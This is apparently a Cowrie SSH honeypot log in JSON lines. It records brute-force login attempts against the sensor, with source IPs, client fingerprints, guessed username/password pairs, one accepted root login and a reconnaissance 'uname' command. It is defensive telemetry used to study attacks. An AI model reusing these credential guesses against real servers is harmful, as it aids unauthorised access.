{"eventid":"cowrie.login.failed","username":"user","password":"07121985","message":"login attempt [user/07121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:41.208602Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07071983","message":"login attempt [user/07071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:42.310500Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:43.412899Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":58092,"dst_ip":"159.203.135.109","dst_port":22,"session":"065e00b9268d","protocol":"ssh","message":"New connection: 172.173.117.246:58092 (159.203.135.109:22) [session: 065e00b9268d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:52.074245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:52.078302Z","src_ip":"172.173.117.246","session":"065e00b9268d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:52.116048Z","src_ip":"172.173.117.246","session":"065e00b9268d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hyun","password":"12345","message":"login attempt [hyun/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:52.316028Z","src_ip":"172.173.117.246","session":"065e00b9268d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:53.360691Z","src_ip":"172.173.117.246","session":"065e00b9268d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.245","src_port":36015,"dst_ip":"159.203.135.109","dst_port":22,"session":"a218c094f88e","protocol":"ssh","message":"New connection: 69.164.217.245:36015 (159.203.135.109:22) [session: a218c094f88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:03.104100Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:04.610249Z","src_ip":"69.164.217.245","session":"a218c094f88e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":52700,"dst_ip":"159.203.135.109","dst_port":22,"session":"24c97bec2753","protocol":"ssh","message":"New connection: 162.120.6.20:52700 (159.203.135.109:22) [session: 24c97bec2753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.157976Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.227440Z","src_ip":"162.120.6.20","session":"24c97bec2753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":52704,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1a3636cf833","protocol":"ssh","message":"New connection: 162.120.6.20:52704 (159.203.135.109:22) [session: a1a3636cf833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.291851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.296170Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.363903Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12341234","message":"login attempt [root/12341234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.567011Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.737712Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.740888Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.810796Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:09.815596Z","src_ip":"162.120.6.20","session":"a1a3636cf833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53900,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed531b7230c","protocol":"ssh","message":"New connection: 2.57.122.96:53900 (159.203.135.109:22) [session: 1ed531b7230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:33.131542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:33.145446Z","src_ip":"2.57.122.96","session":"1ed531b7230c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:33.232009Z","src_ip":"2.57.122.96","session":"1ed531b7230c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staking","message":"login attempt [ubuntu/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:33.624832Z","src_ip":"2.57.122.96","session":"1ed531b7230c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:34.727997Z","src_ip":"2.57.122.96","session":"1ed531b7230c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17455,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ad0f1206822","protocol":"ssh","message":"New connection: 2.57.121.25:17455 (159.203.135.109:22) [session: 2ad0f1206822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:44.243461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:44.248369Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:44.346386Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08031982","message":"login attempt [user/08031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:44.817687Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08031977","message":"login attempt [user/08031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:45.918402Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08021986","message":"login attempt [user/08021986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:47.019700Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07121985","message":"login attempt [user/07121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:48.121772Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07071983","message":"login attempt [user/07071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:49.222644Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:36:50.324624Z","src_ip":"2.57.121.25","session":"2ad0f1206822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d99fd6c8b3fd","protocol":"ssh","message":"New connection: 150.95.157.171:46588 (159.203.135.109:22) [session: d99fd6c8b3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:37:59.436949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:37:59.442990Z","src_ip":"150.95.157.171","session":"d99fd6c8b3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:37:59.600288Z","src_ip":"150.95.157.171","session":"d99fd6c8b3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"Sftptest123!","message":"login attempt [sftptest/Sftptest123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:00.218839Z","src_ip":"150.95.157.171","session":"d99fd6c8b3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:01.378027Z","src_ip":"150.95.157.171","session":"d99fd6c8b3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":38254,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c6bee8b6e5","protocol":"ssh","message":"New connection: 172.172.196.177:38254 (159.203.135.109:22) [session: 51c6bee8b6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:13.674899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:13.679175Z","src_ip":"172.172.196.177","session":"51c6bee8b6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:13.690311Z","src_ip":"172.172.196.177","session":"51c6bee8b6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456","message":"login attempt [sam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:13.766186Z","src_ip":"172.172.196.177","session":"51c6bee8b6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:14.779085Z","src_ip":"172.172.196.177","session":"51c6bee8b6e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":34758,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93bf9c43f35","protocol":"ssh","message":"New connection: 1.214.117.218:34758 (159.203.135.109:22) [session: b93bf9c43f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:41.738180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:41.742911Z","src_ip":"1.214.117.218","session":"b93bf9c43f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:41.946657Z","src_ip":"1.214.117.218","session":"b93bf9c43f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"1234","message":"login attempt [bai/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:42.792811Z","src_ip":"1.214.117.218","session":"b93bf9c43f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:43.998231Z","src_ip":"1.214.117.218","session":"b93bf9c43f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":49302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5969e890db","protocol":"ssh","message":"New connection: 172.173.117.246:49302 (159.203.135.109:22) [session: 4b5969e890db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:59.484031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:59.488906Z","src_ip":"172.173.117.246","session":"4b5969e890db","protocol":"ssh"}
